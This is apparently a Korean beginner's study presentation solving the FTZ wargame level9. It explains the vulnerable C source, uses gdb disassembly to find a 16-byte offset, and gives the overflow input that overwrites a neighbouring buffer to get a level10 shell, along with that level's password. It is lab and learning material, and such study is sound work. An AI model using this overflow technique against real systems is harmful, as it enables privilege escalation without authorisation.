



하고 싶은 공부

pwnable

포너블이란?

- 시스템 해킹은 말 그대로 어떤 시스템을 해킹하여 정보를 획득하는 것을 목적으로 한다.
- 그리고 이런 목적을 달성하려면 해당 시스템의 관리자 권한을 탈취하는 과정이 필요하다.
- 즉 포너블은 시스템의 일반 유저의 자격으로, 여러 가지 공격 기법을 활용해 관리자 자격을 뺏는 절차라고 할 수 있겠다.

뭐 부터 공부해야할까

- 리눅스 공부
- 많은 조사 끝에 내린 결론은 기초를 해야 뭐든 한다 라는것
- 즉 아무것도 모르는 저는 먼저 리눅스와 c언어를 완전히 이해하는것이 먼저라고 판단하였습니다.
- 그래서 리눅스 공부를 도와줄수있는 ftz를 이용하기로 했었고
- 하나를 풀어도 제대로 공부하자라는 생각으로 문제를 풀기위한 개념을 확실히
- 짚고 넘어가자라고 생각했습니다.

```
[level9@ftz level9]$ ls
hint public_html tmp
[level9@ftz level9]$ cat hint
```

다음은 /usr/bin/bof의 소스이다 .

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(){

    char buf2[10];
    char buf[10];

    printf("It can be overflow : ");
    fgets(buf,40,stdin);

    if ( strcmp(buf2, "go", 2) == 0 )
    {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
    }

}
```

이를 이용하여 level10의 권한을 얻어라 .

Ftz level9

풀기 위한 개념 소개

```
#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

main(){

char buf2[10];

char buf[10];

printf("It can be overflow : ");

fgets(buf,40,stdin);

if ( strcmp(buf2, "go", 2) == 0 )

{

printf("Good Skill!\n");

setreuid( 3010, 3010 );

system("/bin/bash");

}

}
```

Ftz level9 풀기위한 개념 소개

- `fgets(buf,40,stdin);`
- `Fgets(배열,몇번째자리까지,파일 주소)`
- `Scanf`랑 비슷하며 입력값을 받아주는 역할 `fgetc`는 문자를 받지만 `fgets`는 문자열이다

Ftz level9 풀기위한 개념 소개

- `if (strcmp(buf2, "go", 2) == 0)`
- Strncmp: 지정된 길이만큼 문자열 비교
- Buf2에서 go가 2바이트를 차지해서 일치하면 0이 출력되고 아니면 1이 출력됩니다.

Ftz level9 풀기위한 개념 소개

- `setreuid(3010, 3010);`
- 권한을 바꾸어줘라 즉 LEVEL10으로 바꿔주는 역할입니다

Ftz level9 풀기위한 개념 소개

- `system("/bin/bash");`
- 실행

```
[level9@ftz tmp]$  
[level9@ftz tmp]$ /usr/bin/bof  
It can be overflow : aaaaaaaaaaago  
[level9@ftz tmp]$
```

Ftz level9 풀기위한 개념 소개

- Vi 사용법
- Vi 파일이름
- 입력 : i

명령(esc)

종료:wq!

Ftz level9 풀기위한 개념 소개

- gcc
- 컴파일해주는 명령어

```
[level9@ftz tmp]$ gcc test.c
```

```
[level9@ftz tmp]$ ls
```

```
a.out test.c
```

```
[level9@ftz tmp]$
```

Ftz level9 풀기위한 개념 소개

- Gdb
- 디버깅해주는 명령어
- 배열의 사이즈를 알기위해서 사영해줍니다


```

(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>:  push    %ebp
0x08048421 <main+1>:  mov     %esp,%ebp
0x08048423 <main+3>:  sub     $0x28,%esp
0x08048426 <main+6>:  and     $0xffffffff0,%esp
0x08048429 <main+9>:  mov     $0x0,%eax
0x0804842e <main+14>:  sub     %eax,%esp
0x08048430 <main+16>:  sub     $0xc,%esp
0x08048433 <main+19>:  push    $0x8048554
0x08048438 <main+24>:  call    0x8048350 <printf>
0x0804843d <main+29>:  add     $0x10,%esp
0x08048440 <main+32>:  sub     $0x4,%esp
0x08048443 <main+35>:  pushl   0x8049698
0x08048449 <main+41>:  push    $0x28
0x0804844b <main+43>:  lea     0xffffffff8(%ebp),%eax
0x0804844e <main+46>:  push    %eax
0x0804844f <main+47>:  call    0x8048320 <fgets>
0x08048454 <main+52>:  add     $0x10,%esp
0x08048457 <main+55>:  sub     $0x4,%esp
0x0804845a <main+58>:  push    $0x2
0x0804845c <main+60>:  push    $0x804856a
0x08048461 <main+65>:  lea     0xffffffff8(%ebp),%eax
0x08048464 <main+68>:  push    %eax
0x08048465 <main+69>:  call    0x8048330 <strcmp>
0x0804846a <main+74>:  add     $0x10,%esp
0x0804846d <main+77>:  test    %eax,%eax
0x0804846f <main+79>:  jne     0x80484a6 <main+134>
0x08048471 <main+81>:  sub     $0xc,%esp
0x08048474 <main+84>:  push    $0x804856d
0x08048479 <main+89>:  call    0x8048350 <printf>
0x0804847e <main+94>:  add     $0x10,%esp
0x08048481 <main+97>:  sub     $0x8,%esp
0x08048484 <main+100>: push    $0xbc2
0x08048489 <main+105>: push    $0xbc2
0x0804848e <main+110>: call    0x8048360 <setreuid>
0x08048493 <main+115>: add     $0x10,%esp
0x08048496 <main+118>: sub     $0xc,%esp
0x08048499 <main+121>: push    $0x804857a
0x0804849e <main+126>: call    0x8048310 <system>
0x080484a3 <main+131>: add     $0x10,%esp
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
---Type <return> to continue, or q <return> to quit---
```


Ftz level9 풀기위한 개념 소개

- set disassembly-flavor intel
- Intel 형식으로 바꾸는 명령어

Ftz level9 풀기위한 개념 소개

Dias

Main은 c언어로 작성되어있을시
_start는 assembly 어로 작성되어있을시

```
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>:  push    ebp
0x08048421 <main+1>:  mov     ebp,esp
0x08048423 <main+3>:  sub     esp,0x28
0x08048426 <main+6>:  and     esp,0xffffffff
0x08048429 <main+9>:  mov     eax,0x0
0x0804842e <main+14>:  sub     esp,eax
0x08048430 <main+16>:  sub     esp,0xc
0x08048433 <main+19>:  push    0x8048554
0x08048438 <main+24>:  call    0x8048350 <printf>
0x0804843d <main+29>:  add     esp,0x10
0x08048440 <main+32>:  sub     esp,0x4
0x08048443 <main+35>:  push    ds:0x8049698
0x08048449 <main+41>:  push    0x28
0x0804844b <main+43>:  lea     eax,[ebp-40]
0x0804844e <main+46>:  push    eax
0x0804844f <main+47>:  call    0x8048320 <fgets>
0x08048454 <main+52>:  add     esp,0x10
0x08048457 <main+55>:  sub     esp,0x4
0x0804845a <main+58>:  push    0x2
0x0804845c <main+60>:  push    0x804856a
0x08048461 <main+65>:  lea     eax,[ebp-24]
0x08048464 <main+68>:  push    eax
0x08048465 <main+69>:  call    0x8048330 <strcmp>
0x0804846a <main+74>:  add     esp,0x10
0x0804846d <main+77>:  test    eax,eax
0x0804846f <main+79>:  jne     0x80484a6 <main+134>
0x08048471 <main+81>:  sub     esp,0xc
0x08048474 <main+84>:  push    0x804856d
0x08048479 <main+89>:  call    0x8048350 <printf>
0x0804847e <main+94>:  add     esp,0x10
0x08048481 <main+97>:  sub     esp,0x8
0x08048484 <main+100>:  push    0xbc2
0x08048489 <main+105>:  push    0xbc2
0x0804848e <main+110>:  call    0x8048360 <setreuid>
0x08048493 <main+115>:  add     esp,0x10
0x08048496 <main+118>:  sub     esp,0xc
0x08048499 <main+121>:  push    0x804857a
0x0804849e <main+126>:  call    0x8048310 <system>
0x080484a3 <main+131>:  add     esp,0x10
0x080484a6 <main+134>:  leave
0x080484a7 <main+135>:  ret
```

Ftz level9 풀기위한 개념 소개

- Esp
- 현재스택에서 가장 위에있는것

Ebp

현재 스택에서 가장 바닥을 말한다


```

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>:  push    ebp
0x08048421 <main+1>:  mov     ebp,esp
0x08048423 <main+3>:  sub     esp,0x28
0x08048426 <main+6>:  and     esp,0xffffffff
0x08048429 <main+9>:  mov     eax,0x0
0x0804842e <main+14>: sub     esp,eax
0x08048430 <main+16>: sub     esp,0xc
0x08048433 <main+19>: push    0x8048554
0x08048438 <main+24>: call    0x8048350 <printf>
0x0804843d <main+29>: add     esp,0x10
0x08048440 <main+32>: sub     esp,0x4
0x08048443 <main+35>: push    ds:0x8049698
0x08048449 <main+41>: push    0x28
0x0804844b <main+43>: lea     eax,[ebp-40]
0x0804844e <main+46>: push    eax
0x0804844f <main+47>: call    0x8048320 <fgets>
0x08048454 <main+52>: add     esp,0x10
0x08048457 <main+55>: sub     esp,0x4
0x0804845a <main+58>: push    0x2
0x0804845c <main+60>: push    0x804856a
0x08048461 <main+65>: lea     eax,[ebp-24]
0x08048464 <main+68>: push    eax
0x08048465 <main+69>: call    0x8048330 <strcmp>
0x0804846a <main+74>: add     esp,0x10
0x0804846d <main+77>: test    eax,eax
0x0804846f <main+79>: jne     0x80484a6 <main+134>
0x08048471 <main+81>: sub     esp,0xc
0x08048474 <main+84>: push    0x804856d
0x08048479 <main+89>: call    0x8048350 <printf>
0x0804847e <main+94>: add     esp,0x10
0x08048481 <main+97>: sub     esp,0x8
0x08048484 <main+100>: push    0xbc2
0x08048489 <main+105>: push    0xbc2
0x0804848e <main+110>: call    0x8048360 <setreuid>
0x08048493 <main+115>: add     esp,0x10
0x08048496 <main+118>: sub     esp,0xc
0x08048499 <main+121>: push    0x804857a
0x0804849e <main+126>: call    0x8048310 <system>
0x080484a3 <main+131>: add     esp,0x10
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret

```

- 서로 16 비트 차이남을 느끼고 문자16개와 go를 해준다

```
[level9@ftz level9]$ /usr/bin/bof  
It can be overflow : aaaaaaaaaaaaaaaaaago  
Good Skill!  
[level10@ftz level9]$
```

Ftz level9 풀기위한 개념 소개

- My-pass

자기가 머물러있는 password를 알수있는 명령어


Level10 Password is "interesting to hack!".

[level10@ftz tmp]\$

느낀점

어느 분야를 도전하는 기본기가 탄탄해야한다는 것을 느꼈고 리눅스는 사소한 명령어 하나라도 안까먹게 복습이 계속 필요하다는 것을 느꼈습니다.

또한 어셈블리어를 통해서 알수있는 사실이 굉장히 많다는 사실을 알게되어서 어셈블리어에 대한 지식을 좀더 키워야 겠다고 느끼고 생각했습니다!



질문 있으신가요!?